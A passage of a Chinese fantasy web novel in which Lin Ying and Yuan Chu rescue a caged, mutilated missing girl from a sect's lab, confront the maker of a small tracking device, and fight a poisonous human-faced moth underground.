“我最讨厌两件事:抱怨和质疑,以后我的命令,不许多嘴。至于大茧……上面交代的肯定有他们的道理,我们照做就是了。 “好的,徐哥。” “你等下给邓汐打电话,如果可能,让她把那个装着大茧的棺材也搬回来,上面的菌群说不定也有用。” “行,那他们说的大茧能引来大家伙是真的吗?” “我觉得有百分之六十的可能性,你想想看邓汐刚才那狼狈的模样,我很少见她吃那么大的亏……” “徐哥,你忘了?她前几天晚上也很狼狈啊!” “哈哈,我怎么会忘,她夹着尾巴逃回来,面上可精彩极了……对了,你记得交代大家不要动大茧上的罩子,等上面来人了再说。” “好的,估计也没人想进那个房子,那味太冲了……关于邓汐,哥你可别嫌我多嘴,说句不好听的,那个动物园克她,她每次还要兴冲冲冲到最前头,把咱们这边的活也揽了,好像就她们多能干似得,显摆!” “好强的人是这样的,在哪里吃了亏就非要在那里站起来,不知道人生是需要变通的。” “还是徐哥有大智慧……” 两人说着,走进了走廊尽头的一个房间,而后“咔嚓”一声,关上了门。 想不到一善门的内部还有这种矛盾,邓汐和这个“徐哥”明显就是两派人,相互之间是有竞争关系的。 林萤和原初猫着腰从洗手间溜了出来,而后迅速来到隔壁的房间。 这里是个地理实验室,桌子上摆着落灰的地球仪,墙壁上悬挂着教学挂图,挂图下是一排塑料箱,箱子里分别装着岩石、矿物、化石和植物标本等,实验室中央是一个立体地貌地形模型,模型似乎闲置了很久,原本蓝绿色的山川已经失色,变得灰不溜秋。 不是在这边。 林萤只看了一眼,就从这间屋子里退了出来,又来到隔壁房门前。她推了推,门关着,从门上的观察玻璃向里看去,能看到屋子中央有一个巨大的罩子,大茧被完完整整地摆放在里面。 林萤道:“他们没有碰这个茧。” 原初道:“听刚才那两个人说,这个茧是为了吸引什么东西才抢过来的。” 林萤道:“毫无疑问,他们想吸引的就是从茧里出来的那个东西,经过一天的休息,那个东西应该已经完全恢复了力量,很有可能来寻找自己的茧。不过,我感觉那东西精明着呢,才不会自投罗网。” 正在这时,走廊那边传来扭动门锁的声音——又有人出来了。 71. 笼子里的羊角女孩 林萤迅速瞥了一眼,就见走廊尽头的门被推开一条缝隙,隐约可见握着门把的手关节,里面的人似乎正在一边对后面的人说话一边往外走,对方不知说了什么,引得那人停顿了一下,刚推开的门停在了一掌宽的地方。 这给了林萤喘息之机,她拉着原初,迅速来到大茧正对着的房间,一使劲,推开房门,两个人飞速窜了进去。 刚一进门,林萤就感觉自己身边的人一顿,同时她听到了第三个人的呼吸声。 ——这个房间有人! 林萤眼皮一跳,却还是先轻手轻脚关上房门,又立即转过身来。 屋子很暗,淡蓝色窗帘遮住屋外明亮的光线,只从窗帘的缝隙里透出一指微光。窗帘的一侧是堆叠在一起的桌椅,空出来的地面上放着一个大笼子,笼子上方挂着几根褐色的皮鞭,鞭尾细长,像蛇一样垂在半空。 笼子里是一个披散着头发的少女,少女的头发很长,林萤看见她的时候,她正背对着林萤半跪在地上,滑顺的长发散落在她的背后,又垂落至地面上,像给她披上了一层轻盈的薄纱。 听见响动声,那少女缓缓转了过来,林萤顿时瞪大了眼。 只见那少女皮肤白皙,四肢纤细,有着天使一样的面容,单看上去便像一幅油画,只是让人惊讶的是她的耳朵上方却生着两根奇怪的大角,像是希腊神话里的牧神潘,给原本柔美的气质增添了几份野性和不协调之感。 更让林萤感到意外的是,这张脸她见过,就在马西梅的相册里——她是马西梅那个老姐妹失踪的孩子! 女孩穿着肥大的长袖连衣裙,这个季节怕冷的人已经穿上了秋裤,她却赤着脚,双腿也是光着的。 就在这时,外面响起了关门声,紧接着是走路的声音,脚步声越来越近——那个人过来了。 与此同时,那女孩突然慌张起来,她似乎认得这个脚步声,一对尖尖的耳朵瞬间变得通红,两只手趴在地上,像只小羊一样在笼子里爬来爬去,又缩在角落不安地抖动着身体,而后“啊——啊——”地叫了起来。 林萤看着女孩水灵的大眼睛,忙伸出手冲她比了个“嘘——” 为时已晚,房间里的响动声引起了外面那人的注意,林萤和原初贴在门上,听到那个脚步声在一门之隔的地方站定,手搭上门把,似乎就要开门查看。 两人相视一眼,林萤紧了紧拳头,预备在那人推门进来的一瞬间给对方来个物理麻醉。 想象中的情况并没有发生,因为此刻静悄悄的走廊里突然响起了一阵歌声,那人拿出手机“喂”了一声,接着便向远处走去,林萤听出来了,这个人就是刚才走廊里那个穿白大褂的徐医生。 待再也听不到其他声音,林萤僵直的身子才放松下来,她看了看身侧的原初,就见他也正好转过来看她,两个人相视一眼,同时松了一口气。 随后,林萤来到了笼子前,她看向角落里的少女,说道:“别怕,我们不是坏人,你怎么会被关在这里?” 少女歪了歪头,一双眼眨也不眨地看着林萤,却一句话也不回答。 林萤又问:“你叫什么,愿意跟我走吗?” 说话间,她盯着少女的眼睛,暗自用了一些精神操控的力量。 就见少女突然一脸茫然,而后“啊啊”了几声,林萤仔细看去,才发现那少女的嘴巴里空洞洞的,什么都没有——她的舌头被割掉了。 林萤向后退了一步,不是被吓到,而是被加害者的残忍震惊到。 她小声道:“原医生,她的舌头没了,牙齿也被敲掉了……” 原初快步走了过来站在林萤边上,他感受到了林萤的恐惧,正想掐一掐她的指尖帮她缓解这种情绪。 可就在这时,那少女突然动了。 她从角落径直爬到了原初的脚边,隔着笼子,将自己身上那松松垮垮的连衣裙提了起来,直接褪到了颈部,而后枕着裙边睡在了地上。她的耳朵通红,脸一圈都是裙纱,裙子后侧的飘带恰好挂在她的羊角上,将她的面容装饰得像是餐桌上的花卉,而她的身体则是那被享用的佳肴。 ?! 林萤忙捂住自己的眼睛,想了想,又打算去捂原初的眼睛,转过头,却看到原初已经背过身走到了门口。 他低声说:“她似乎对男性有一些刻板行为,你来问比较好。” 林萤点了点头,走到笼子另一侧,将堆叠在少女颈部的衣裙往下拉了拉。 林萤问:“我说话你可以听懂吗?你起来,把衣服穿好,我带你出去。” 少女依旧仰面躺在地上,双手平摊放在岔开的腿边,眼睛望着上方的铁笼,眼里没有任何波澜,对林萤的话也无动于衷。她明明很年轻,整个人却像朵即将开败的花,艳丽又诡异。 林萤咬紧牙关,一把捏碎笼子上的铁链,弯腰进去将那少女扶了起来,又强行给她整理好衣服,将她从笼子里抱了出来。 ——她轻得像只猫。 原初问道:“要带她出去吗?” 林萤点头道:“她完全听不懂我的话,但是我不能再把她放在这里了,你也说了她已经出现了刻板行为……” 林萤没有说出口的是她在女孩的身上看到了很多伤,大的小的,青色的红色的……林萤突然想起电线杆上的、墙面上的那些寻人启事,也想到了杜煦。 天灾天灾!人祸人祸! 天灾可躲,人祸难防! 她的呼吸变得急促,手心也出了汗,咬紧牙关又松开,连续数次,一股难言的情绪充斥在她的胸间,使得她的眼白也充了血。 就在这时,林萤感觉手心一痛,低头一看,一只纤长的手正在捏她的掌心。 “林萤,镇定一点。” 林萤回过神来,看向原初,缓缓冲他点了点头,又轻轻“嗯”了一声。 不论如何,此地不易留。 林萤将怀中的女孩放在地上,带着她向门口走了两步,就在这时,女孩看见了原初,她手一甩挣脱林萤,又一次仰面躺在了地上。 林萤道:“要不你蒙 上脸?” 原初道:“没有用,她应该是感觉到了异性的气息,所以才会这样,这种刻板行为很难纠正,但它的形成可能只需要几天甚至十几分钟。” 来不及细想她遭受的苦难,林萤将女孩扯上去的衣服又扯了下来,而后看向笼子上挂的鞭子,她眼睛一亮,道:“我有办法了!” 片刻后,女孩被林萤捆成了粽子,她的长发也被林萤扎成两束,裹住头顶的羊角,为了防止掉落,林萤又将她的发尾塞进了衣领。而女孩本人也被林萤手动闭麦,整个人晕倒在林萤的身上。 带着女孩多有不便,原本的探查计划暂且搁置,林萤和原初准备先将女孩带到安全的地方,然后再做下一步打算。 离开的准备已就绪,林萤扛着女孩来到了那个放置大茧的房间,她单手用力,直接将扣在茧外用来隔绝气息的罩子捏破,又将关得严严实实的窗户大大敞开。 林萤道:“好不容易来一趟,总得给他们添点麻烦。” “走!” 走到门口,原初向林萤招了招手,两个人火速离开实验楼,来到了校外。 将女孩接到外面的第一时间,林萤就联系了马西梅,听到消息的马西梅也是又惊又喜,她忙嘱咐林萤先将女孩带回自己家,然后去联系了自己的姐妹,三波人同时向马西梅家的方向行去。 途中,林萤顺路去了家服装店,给女孩买了内衣和一件厚外套,又买了一双稍大的运动鞋,加上结账时原初特意买的麋鹿形状的帽子,两人这才急匆匆回到了马西梅的家。 马西梅和她的姐妹早就在家里等候,还没等林萤敲门,门便打开了。 开门的是个面生的阿姨,她的目光在林萤脸上停留了不到一秒钟,便定睛看向女孩。只一瞬,阿姨的眼眶里便盈满了泪水,她双手颤抖着伸向女孩,嘴先是张了一下,但没有发出声音,而是深深吸了几口气后,才哑着声叫了女孩的名字。 “淼淼……淼淼……” 女孩的手脚还被缚着,她的眼神空洞神情麻木,却在听见母亲的呼唤时焦躁地长大了嘴巴,从喉咙深处发出叫声:“嗬——嗬——” 林萤与原初对望,同时升起一丝希望——从女孩刚才的反应中不难看出,她对妈妈的声音有印象,这是不是代表有唤醒她的可能? 而那阿姨仅仅看了自己女儿一眼,便“啊”一声,翻着白眼,整个人直直向后挺去。 “叶子!” 马西梅忙扶住晕倒的叶子阿姨,林萤和原初也没有犹豫,将女孩带进了屋里,而后紧紧关上房间的大门。 一番折腾,找到孩子的叶子阿姨比没找到时还要伤心,她将脖子靠在沙发上,哭得上气不接下气。 原初已经躲去了阳台,淼淼在林萤和马西梅的协助下穿上了正常衣物,为防止她做出奇怪的举动,她的双腿仍被缚在一起,使得她无法移动。 此时,她像一个刚出生的婴儿,坐在垫子上,睁着懵懂的眼睛,有时看看自己的妈妈,有时又垂下头玩弄自己的发丝。 72. 吴听和她的“铅芯” 叶子阿姨哭乏了,悲伤的情绪却丝毫没有缓解,反而越哭越绝望: “怎么敢?他们怎么敢把一个好好的人弄成这样!” “马姐,你说,我以后咋活呀,咋活呀——” 马西梅安顿好淼淼,接着安慰了半天叶子阿姨,又抽空拿着对方的手机给淼淼的爸爸也发去了信息。 待一切安顿完毕,原初才从阳台走了出来,马浩哲还在动物园,林萤和原初决定去找他,不过,在这之前还有一件事要做。 告别马西梅,林萤和原初下楼,径直敲响了吴听家的门。 “叩叩叩——” 没有应答。 “叩叩——”、“叩叩叩——”、“叩叩——叩叩!” 林萤又耐心等待了片刻,还是没有人开门。 此时已经是下午四点多钟,原本明净的天空逐渐暗了下来,乌云像涌上沙滩的潮水,一波接着一波,冲刷去天空的蓝色,终于将整个世界都变成了灰。 随着林萤敲门声的停止,楼道里也逐渐安静下来,加之楼梯间变暗,倒有几分暴风雨前的宁静。 一门之隔,吴听贴着门背后的墙站立着,她已经在这里站了小半会,耳机里的重金属乐早已关掉,但优秀的降噪效果使得她拿不准林萤到底有没有走,她想取下耳机,又怕自己的动作发出声响。于是,她悄悄踮起脚尖,将身子探到门边上,想要透过猫眼看看外面的人还在不在。 蓦地,她的右眼对上一只黑色瞳仁。 对方似乎笑了一下,一息后门便从外面打开了,吴听离门太近,被门板大力撞击在了一侧的墙上,她正要发怒,一双手便紧紧掐住了她的脖子。 林萤道:“吴听,我不是个特别有耐心的人,所以我只问你一次,你为什么要在我的身上放这个?” 林萤的另外一只手拿出那根像铁丝一样的东西,在吴听面前晃了晃。 脖颈间的手虽然不大,但吴听能感觉它在收着力,而它的主人此时不知为何有着蓬勃的怒意,吴听丝毫不怀疑对方会在盛怒之下结果了自己。 她道:“咳咳……你先放开我,我说!” 林萤的手收了回来,将“铁丝”向空中一抛,吴听忙伸出手逮住了它。 吴听道:“别扔别扔,这可是姑奶奶我……”对上面前那两人不算友善的目光,吴听的话拐了个弯,“这可是我好不容易研发出来的,整个青檀就那么几个,称得上一句有市无价。” 林萤冷冷道:“说重点。” 吴听站直了身,她轻轻摸了摸手里的“铁丝”,颇为得意地道:“这是个小型追踪器,名为‘铅芯’,它可以粘附在人的衣服上,画出对方二十四小时内的移动轨迹,通过这些移动轨迹能够大致推测出那人都做了些什么,而且铅芯是防水的,就算泡在水里,它也能继续工作。不过……”说道这里,吴听顿了顿,“它也有缺点,你要是把衣服脱了或者扔了,它就成了一节废铁。” 林萤问:“不能监听?” 吴听打了一个响指,“bingo~~~但是不要失望,‘铅芯’二代正在研发中,届时会带有监听功能,只不过我现遇到了瓶颈,暂时还没能找到突破的方法,另外,如何实现长时间待机也是个大问题……”说着,她似乎陷入了思索。 林萤敲了敲墙面上的木饰,发出“梆梆”的声响。 “吴听,说说你为什么要给我装这个。” 吴听回过神,察觉出林萤口里的寒意,她举起手道:“我真的没什么恶意,只是想知道你有没有去找那个纸条上写的‘章鱼人’,顺便,也是觉得好玩而已……” 说到这里,她又看了眼林萤旁的原初,补充道:“咱们几个才刚认识对吧?关系称不上友好,但至少也是井水不犯河水。我承认没经过同意就给你放‘铅芯’我有错,但是你刚刚也把我家门锁弄坏了,要修理还得花不少钱,咱们就算两清,你看行吗?” 林萤不置可否,原初却问道:“你刚才说铅芯还有几个,那几个在谁的身上?” 吴听道:“这就恕我不能告知了……” 她的话还未说完,突然一股劲风袭来,脖颈上的红痕尚未消失,吴听又迎来了第二次锁喉。 林萤道:“吴听,你妈妈曾经是一善门的走狗,你这个当女儿的不可能一点风声都没听到。一善门究竟做了什么,你也许比我还清楚,我不是站在正义的一方来指责你,我只是想让你知道,当下还在维护一善门的绝对没有好果子吃。” 吴听还想打太极,“我妈也只是一个小喽啰,我更是——” 接下来的话全被卡在了嗓子眼里,林萤的手指收紧,双目紧紧盯着面上带着几分玩世不恭的吴听。 “我说了我没耐心,把你知道的全部,都告诉我。现在!” …… 片刻后,林萤和原初从吴听家里走了出来,吴听将二人送到门口,原本吊尔郎当的态度也变得恭敬,“那就说好了,我帮你们留意着一善门,你们帮我调查一下那个章鱼人到底是个什么玩意。” 林萤点点头,反问道:“还记得我们合作的前提是什么?” “我懂!”吴听伸出手想拍一拍林萤的肩膀,却被对方灵巧地躲开,她的手悬在半空中,而后无所谓地耸耸肩,像一个中世纪的骑士那般道:“是契约精神——尊敬的进化者们,愿我们合作愉快!” “希望你不要忘记,我会随时联系你!” 林萤朝吴听挥了挥手,与原初一起朝楼下走去,她的手上捏着还亮着屏幕的手机,上面是吴听的联系方式。 如他们所料,吴听果然不像面上看上去那么简单,她不仅精通电脑,而且是个手搓达人,那个像铁丝一样的追踪器就出自她之手。而那几个被安装了追踪器的人不是别人,正是一善门的主要成员:邓汐和一个名叫徐晋先的小头目。 在听到“徐晋先”这个名字时,林萤记起了在学校实验楼里的那个穿白大褂的背影,他旁边的男护士似乎就称呼他为“徐哥”,若是不出意外,两者应 当是同一人。 吴听也将这两人的行动轨迹给林萤展示了一下,就见邓汐像是日行八千里的骏马,跑了南边跑北边,行动范围几乎覆盖半个青檀;而那个徐晋先几乎就是家和学校两点一线,两地之间的距离超不过八百米。 一善门的两个小头目,一动一静,倒是相得益彰。 邓汐的行动轨迹显示她正在动物园的位置,林萤和原初也不再犹豫,直接驱车前往。 天阴了,将雨未雨,气压变低,整个城市都起了风。 路上的人出奇得多,林萤的车无论如何也开不快,她又一次小心翼翼错开前面行驶缓慢的三轮车后,又被一个猛闯红绿灯的大客车逼得刹住了车。 正在焦躁之际,她听到原初的声音,“快往西边看。” 林萤下意识看过去,目光恰好与几只飞鸟的路径相同,就见西边的天空中漂浮着一团“小乌云”,叽叽喳喳的鸟儿自四面八方而来,在那团小乌云前汇聚,又飞快地掠过云朵边上,围着中央打转,兴奋地像是饿了三天去吃自助的人。 那团云朵,那个方向…… 原初道:“是学校,那些蛾去找大茧了。” 林萤道:“一善门应该不只有学校一个据点,他们在学校估计是为了方便实验和放东西,你还记得姑姑说过一善门的那个刘三针还有个小诊所,我怀疑那边才是他们的老巢。” 原初说:“嗯,他们大多数都是青檀本地人,家也算一个重要据点。” 林萤点了点头,恰逢大车走了过去,交通一片混乱,林萤看准空隙,一个加速,穿过了十字路口。 再次路过那些贴满了寻人启事的墙面,林萤想起她刚才给那个羊角女孩扎头发的时候,看到女孩头顶的角根本不是自己长上去的,而是被人为安上去的,角的一周都是厚厚的血痂,可见安上的时间并不长。 林萤猜测,她应该就是吴阿姨口中的“羊角女孩”,吴阿姨也是因为看到她,才急着想让吴听进化,哪怕背叛多年的好友。 既然如此,那个“章鱼人”应该也确有其人。 穿过数个街角,两人终于来到了动物园。林萤本想将车停在大门边上,但为了节省时间,便直接将摩托开了进去。 进到园内后,林萤的速度放慢了些。 “原医生。” “嗯?” “你知道有种技术可以把羊角安到人的脑袋上吗?”林萤想了想继续补充,“换而言之,人的头骨破了一个洞,还能活吗?” 原初道:“这主要取决于洞的位置以及有没有伤到脑组织和大出血。人的前额部骨质厚,如果只是个小洞,护理好当然可以活下去,历史上也有过这种病例。你应当知道种植牙技术,它是已经很成熟的技术,你可以把那两个角想象成种植牙,操作得当,角是可以钉在上面的,只是后续的护理也很重要,当然,疼是肯定会疼的。” 林萤点了点头,却也觉得这种用来救人的技术被反用来伤害人有种难以言说的荒谬感。 73. 到底在怕什么? 说话间,两人已经来到了两栖动物基地,邓汐一行人的小皮卡正大大咧咧停在院外。 林萤停下车,顺手捡起一颗石头,抡圆胳膊砸了过去,小石头像一颗铆钉扎进了车前胎。 后知后觉,她收回手,搓搓指尖,接着才看向身侧的原初,就见这个漂亮男人冲自己比了个大拇指。 不知为何,林萤方才还低落的心情顿时变得平静,她和原初同时迈步,向鳄鱼池行去。 刚一进去,马浩哲便迎了上来,“林萤,我姑说你们找到了一个羊角女孩,是不是真的?” 林萤点了点头,没有展开回答他的问题,而是目光扫过一个个看过来的人,刘先生、小雨、阿曹、马浩哲,两个守门的战斧小伙子…… 而后,她问道:“一善门的人没在这边吗?” 马浩哲:“没有啊,你打了电话后我们一直在这里等着他们,但是没有等到,怎么了?” 林萤指了指身后,“可是,他们的车就停在外面,车上也没有人。”刚才也是顾忌对方有人,所以林萤并未细说淼淼的事情。 马浩哲往身后看了看,“这就怪了,我们一直在这,反正没有看到那帮人的影子。” 阿曹收起手机,站了起来,“估计去猛兽区了吧,之前雪王就在那边,他们肯定还没死心!” 小雨笑道:“让他们去找吧!去了啥也没有,都搬完了,就剩动物便便了!” “是啊,搬完了……”阿曹说着,环顾四周,悲从中来,“从今天起,就没有青檀动物园了,干了半辈子,我也失业了。”说罢,长叹一声。 马浩哲道:“人在,动物在,青檀在,动物园就还能建起来。” 阿曹没有说话,只是拍了拍马浩哲的肩膀。 就在这时,天空突然落起了雨滴,一开始是星星点点,不一会儿雨大了起来,隐约有连绵不绝的架势。 林萤和众人躲在了一旁的参观大厅里。雨越下越大,灰暮一般遮住了天地,只余耳边“噼里啪啦”的雨声,林萤几人的交谈便小了声,又逐渐无人说话,大家都低着头,或是玩手机,或是发呆。 阿曹和刘先生本想回去,却因为雨太大,不得不避一避,等雨小了再走。 正在这时,林萤突然听到一声轻微的响动,不同于雨滴砸向地面,倒像是什么东西脱落的声音。 原初也听到了,“好像是雨水将底下的泥土冲塌了。” 他的话刚说完,又是一阵响动。 这次的动静很大,就连一直举着视频乐呵的小雨都竖起了耳朵,“塌方了?” 林萤道:“我去看看。” 说罢,她将连衣帽扣在头顶,而后快步走到大坑边上,就见坑里原本的地面已经全部被雨水打湿,雨水混合着泥土,混为泥浆。鳄鱼池汇成的水顺着大坑的边缘往下流,像数个开到最大的水龙头,水柱哗啦啦地向下冲,冲刷出一个个大泥坑。 “你看。” 顺着原初的目光,林萤的视线落在了墓坑靠内的侧方,那里靠近棺材的顶部,是一面没有砌灰砖的墙壁,此时墙壁的下方被水冲开了一个约三十厘米宽的洞,随着水流的冲刷,洞口有不断加大的趋势。 ——之前没有这个洞! 这边的动静引起了刘先生等人的注意,几个进化者冒着雨纷纷跳了下去,想看看里面究竟有什么。 坑本身遮住了一部分光,而洞里又黑乎乎似乎是会将光线全部吸收,尽管到了洞口,里面有什么却也难以用肉眼看清。 林萤也是,她离得稍远一些,只觉得洞里的颜色似乎要比黑色更浅,看上去疙疙瘩瘩,像是有什么东西,具体是什么却也看得不大真切,想来只有进到洞里去才能看个明白。 挤在最前面的小雨适时打开了手机自带的手电筒,他将手电筒举到洞口朝里面照去,手电筒的光就像被吞噬了一样,只能看得清环洞口一圈。 目之所及全是湿哒哒的泥土,土是青檀特有的有机质含量很高的泥炭土,一遇到水便像是海绵一样,绵绵不绝地将水分尽数吸收。只不过今天的水太多,泥土不堪重负,才将这个隐藏极深的洞显露了出来。 泥坑里的水逐渐连成一片,又往洞里灌去,雨越大,水越多,原本矮小的洞逐渐变大,林萤看到里面不断有黑褐色的物体在动,像是大块的泥土,也像是一个个进化过的鼠妇。 就在这时,林萤突然看到黑暗中有一双荧光绿的眼睛一闪而过,那东西的速度极快,让林萤差点以为自己是眼花了,不过——绝对不是眼花,林萤很确定自己在那个洞里看见了除鼠妇之外的第二种生物。 “你们看到了那双眼睛了吗?”林萤问。 “什么眼睛?”小雨转过头来,他的手电筒直直照向近处的大鼠妇,“我看到了一只超级大的西瓜虫!” “在哪里在哪里?”马浩哲不敢下坑,在上方急得团团转。 “就在我手边!”小雨第一次见到这么大的鼠妇,想碰却不敢,但不妨碍他将手里的聚光灯全打在这只鼠妇身上。 一旁的刘先生和马西梅也对着那只聚光灯下的鼠妇啧啧称奇。 就在这时,林萤又看到那抹荧光绿,倏忽之间,又消失在无尽的黑色之中。 林萤不再犹豫,她拨开趴在洞口前的小雨,向里看去,而后追到了那点荧光——它越来越远了。 林萤迅速用肉眼丈量了一下洞的底部,又看了看靠近洞壁的一侧,上手抓了两把,松松软软的泥土一抓就掉,没有半点支撑作用,想从这边爬下去的愿望成了空。 身后的人问道:“怎么了?” 林萤转身对道:“我要下去看看。” “什么?!”小雨叫道:“下去干嘛?” 她也听到原初的声音:“嗯,万事当心。” 来不及细想,林萤看了看趴在洞口边缘的家伙,道一声“得罪了!” 她直接大力抚摸过鼠妇的脊背,引得它一阵惊慌,就要将整个身体团成一个球之时,林萤脚尖一点快速挤进了鼠妇的怀抱里,一手压着它的头,一手压着它的尾,像初学游泳的孩子那样抱 着游泳圈,将鼠妇围在了自己的腰间,而后向下坠去。 “呀——” 为了防止坠落速度太快,林萤的下肢也在用力蹬踢侧面的土墙,这让她的下降速度慢了很多,同时也能抽出空来看看四周。这里像是个葫芦嘴,越往里空间越大,只有入口处看上去小,这也是小雨他们以为此处空间不大的原因,但凡他胆大鲁莽向前多走一步,此刻怕是得一群人聚在这里拿着绳子捞他了。 不多时,林萤看到了地面,她放开了那只被她当做救生圈的鼠妇,手脚并用,一下一下扣着墙面,让自己下落的速度降到最低,而后一脚一个坑,给墙面上踢出了凹槽,一来方便认出落地地点,二来可以形成缓冲,不至于下落的时候剐蹭到自己。 待双脚结结实实踩到地面上,林萤松了一口气,这里并没有她想象的那么深,可是也远比上次学生宿舍楼下的那个坑要深,林萤隐隐记得那个坑约二十米,自己现在差不多能有个三十米,差不多9层楼的高度,听上去没差多少,可是上次有个大柱子可以往上爬。 林萤:“……” 问题来了,等会该怎么上去? 林萤四下打量,而后决定把这个问题抛到脑后,先找去那个发光的生物,完了之后再考虑,总之,看着上方的手电光,隐约听到原初安慰马浩哲他们的声音,林萤知道他们还在上面,自己不是一个人在行动。 同伴啊,有同伴可真好! 林萤放眼望去,此处说是泥洞,倒是更像一个大老鼠的洞穴,上方的顶时高时低,高的时候差不多要跟林萤下来时的地方差不多高,低的地方林萤稍微垫垫脚就能够到顶。像是将地面的山峰削去,倒挂在天空,头顶绵延起伏高低不一,视线受阻,看不到远处,只看得到近处的垂落的山柱。 林萤感觉自己像是一个行走在颠倒空间的巨人,越往前走,“山顶”离地面越近,空间越来越小,直到面前再无路可走。这一行,大概有五十来米远。 五十米,听上去很少,但一路走来并不容易,一开始是数量居多的鼠妇,而后是几乎要铺面地面的沙沙的长方体颗粒,有的地方颗粒很多,甚至要埋到林萤的脚踝。林萤仔细观察了一下,这颗粒不是别的,正是鼠妇的排泄物。 林萤又倒回去往后走,离出口越近,鼠妇越多,鼠妇的排泄物也越多,像厚厚的积雪,踩在脚下发出“沙沙”的声音。 正在这时,林萤前方的一只鼠妇突然慌里慌张地开始向墙壁上面爬去,紧接着是第二只第三只……有的鼠妇甚至叠在下方鼠妇的身上,像是在躲避着什么一样。 奇怪,在怕什么? 林萤转过头向后看去,空空如也,什么都没有。 而后她又向前走了两步,就见那些鼠妇疯了似地往前跑,恨不得离她十万八千里,虽然说之前鼠妇也很胆小,但是却没有这般慌张。 奇怪,是在怕我吗? 林萤又回过头看了看,走过的路黑漆漆的,远处似乎什么都没有,又似乎全是鬼魅。 它们到底在怕什么? 74. 人面蛾 林萤想不明白,下意识就想挠挠后脑勺,可当她的手背到脑后时,突然间就定格在了那里。只一瞬,颗颗冷汗自她的额边流了下来。 ——有东西趴在她的背上! 这个发现让林萤的眼皮跳了两下,要知道她自认五感进化异于常人,属于高度敏锐的那类,加之她一贯要比常人警觉些,所以每当有东西靠近时,她总能在第一时间发现,哪怕对方非常小心。可她却丝毫不知道身后那东西是什么时候爬上自己的背的。 林萤缓缓地收回手,在原地站定,适时的静止让她察觉到了身后的异样。那个东西应该有六只爪,两只搭在她的肩头,两只正抓着她腰侧的衣服,还有两只蹬在地上,支撑着它的身体。 它的爪子不但很结实,而且一定非常尖锐,爪子的尖端像鹰嘴一样带着勾,勾住了林萤的衣服,像个背包一样挂在她的身后。 除此之外,林萤的耳朵听到了轻微的扑棱声,后颈感觉到了轻柔的风,背部逐渐开始变热,她知道那个东西的翅膀在微微抖动,腹部正紧紧贴着她的脊背,软软的肉隔着衣服,和自己不过一厘米的距离。 也许它的复眼正紧紧锁定林萤,就像野兽锁定猎物,而它的口器正对着林萤露出来的脖颈,下一秒就要扎进她的皮肤里,将有毒的,或者是使人麻痹的液体注入她的体内。 它的口器是什么样的? 林萤稍稍转头,余光看向自己的身后。它的口器是像蝴蝶或者蛾子那样的“吸管”一样的虹吸式口器,还是像蚊子或者蝉那样的空心的“针头”,亦或是苍蝇那种舔吸式口器?或是其他…… 林萤努力回想着关于昆虫的知识,奈何脑中存货太少,她恨不得把马浩哲从地面上拉下来,让他对着身后那玩意好好分析一番。 然而再多的脑补在此刻都无济于事,林萤决定主动出击。 如果后面这个生物是从茧里出来的正常生物,那么它的危险区域应该在口器或者尾部——口器会攻击,尾部可能有倒刺,最为稳妥的攻击方式,就是捏住它的翅膀,使得它无法飞翔。 只是,如今林萤在前,那东西在后,想要捏住对方的翅膀是不可能的事情。林萤垂着头稍作思考,一个主意应运而生。 她淡定地伸出手,挠了挠头,装出一副思索的样子,而后转身向后,往里面走去,她找到一处垂落很低的“山峰”,上手摸了摸,此处的表面覆盖着一层蕨类植物,里面是软软的泥,再往里戳却怎么也戳不进去,看样子似乎是石头。 确定此处很坚硬后,林萤又是一个转身,将脊背对准了这块硬物,身体微微前倾蓄力,而后猛地向后,作势就要往那石头上靠。林萤这番动作非常迅速,似乎是将身后那个东西吓了个措手不及,她听到了翅膀的拍打声,余光看到一只堪比成人高的影子从自己的身后飞了起来。 林萤迅速转身,随后就被那东西吓了一跳。 只见它人脸蛾腹,六肢细长如同蛛腿,腹部像抱卵的蛾,鼓鼓的涨涨的看上去格外大,它足似鸡爪却分五指,指尖厚而硬,展开的双翅上有一左一右两个巨大的眼睛形状的花纹,乍一看,就像一张巨大的人脸。它的翅是一会儿看上去是乳白色一会又是灰色,似乎会随着光线和周围环境的变化而变化,不过,翅膀上的花纹却是黑色的,中间的眼珠泛着荧光,林萤之前看到的那抹闪亮应该就是它翅膀上的图案。 ——是人面蛾! 尽管林萤从没见过人面蛾,也第一时间意识到了这就是刘先生故事里的那个人面蛾。 林萤还未出声,那人面蛾突然张开嘴巴,从黑洞洞的口腔里吐出一根细长弯曲的舌头,舌头是黑色的,像弹簧一样可以伸缩,它的顶端似乎有一个细孔,还未待林萤看个清楚,便见那舌头像箭一样射向了她。 林萤向后一躲,人面蛾的舌头扎进了一只无辜的鼠妇体内,顿时,那只鼠妇便从褐色变得黢黑,紧接着就蜷缩着身子一动不动,显然是已经死透了。 ——有毒! 林萤不敢托大,她迅速向后退了几步,那人面蛾近竟似洞悉了她的意图,乘胜追击,用两对巨大的前翅煽动着周围的空气,而它的后翅尾端上有两个像拉长的水滴一般的尾突,两个尾突像触角一样不断抖动,林萤看到有星星点点的粉末从它的翅膀上掉落,而后被扇向了自己所在的方向。她的脚边一只只原本蜷缩起来的鼠妇都散开了,或是四脚朝天蹬着腿,或者歪斜着躺在地上,不多时,便没了动静,显然这些粉末也是有毒的。 林萤忙屏住呼吸,抬起腿大步跳跃,跃出粉末的范围,又顺手抓起一只鼠妇,像抛球那样砸向人面蛾,就见那只篮球一般大小的鼠妇还未挨到人面蛾的翅膀就被扇飞了。林萤暗自估量,方才那个鼠妇大概有15斤重,能将这么重的东西扇飞,人面蛾的蛾翅简直能与离心鼓风机相媲美。 林萤眯了眯眼,她的猜测没有错,这个人面蛾果然不是什么善类,它的足可以挖穿柏木,它的口器有剧毒,翅膀看上去似乎比较脆弱,但翅膀上的鳞片也有毒,至于它的尾部,林萤将目光移至人面蛾腹部的最下端——她并没有在那里发现尾针。 目前看来,如果正面对上,人面蛾的弱点就在它的腹部或者尾部,问题是它的翅膀像是盾牌,让人不太好近身,而且这只蛾长着人的头,说不定也有人的智慧。 林萤躲过两波攻击,对人头蛾喊话道:“别打了,你看你还怀着孕……” 人头蛾似乎更愤怒了,它张大嘴巴,从食道深处发出一阵细碎的“呕哇”声,扇动的翅膀都更用力了些。 “……” 看来它没有发声器官,无法用语言交流。 林萤又道:“收起你的翅膀。” 人面蛾的双翅依然大大展开,呈防备状,精神控制对它起不了作用。 林萤结束精神控制的试探,顺手抓住两只鼠妇投掷了过去,两只手舞足蹈的鼠妇在靠近蛾翅的那一刻就又飞了出去,发出“啪、啪”两声,显然是摔爆浆了。 